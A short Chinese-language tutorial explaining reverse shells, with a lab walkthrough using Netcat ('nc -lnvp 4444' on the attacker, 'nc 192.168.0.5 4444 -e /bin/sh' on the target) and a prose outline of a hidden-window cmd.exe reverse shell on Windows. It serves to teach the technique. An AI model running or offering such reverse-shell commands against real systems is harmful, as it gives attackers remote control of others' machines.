介绍反向shell
反向shell是从被感染机器上发起一个连接,它提供攻击者shell访问被感染机器的权限。反向shell或者作为一个单独的恶意代码存在,或者作为一个复杂后门程序中的组件而存在。
反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行root命令。
利用nc实现反向shell
可以通过在两台机器上运行Netcat,来创建一个反向shell。
原理非常简单,攻击主机通过nc -l xx来监听一个端口,靶机主动连接攻击主机,攻击主机得到靶机的shell权限。
攻击主机:
ip:192.168.0.5
靶机:
ip:192.168.178.129
首先使用攻击主机监听一个端口,这里监听的是4444端口。
nc -lnvp 4444
之后靶机使用命令向攻击主机提供shell。
nc 192.168.0.5 4444 -e /bin/sh
回到攻击主机,成功建立连接,使用id和ls命令进行测试,已经得到了靶机的shell
利用windows编程实现反向shell
首先,靶机创建一个套接字连接攻击主机,然后,将这个套接字与cmd.exe标准流进行绑定,之后调用CreateProcess函数用隐藏窗口的方式创建cmd.exe程序。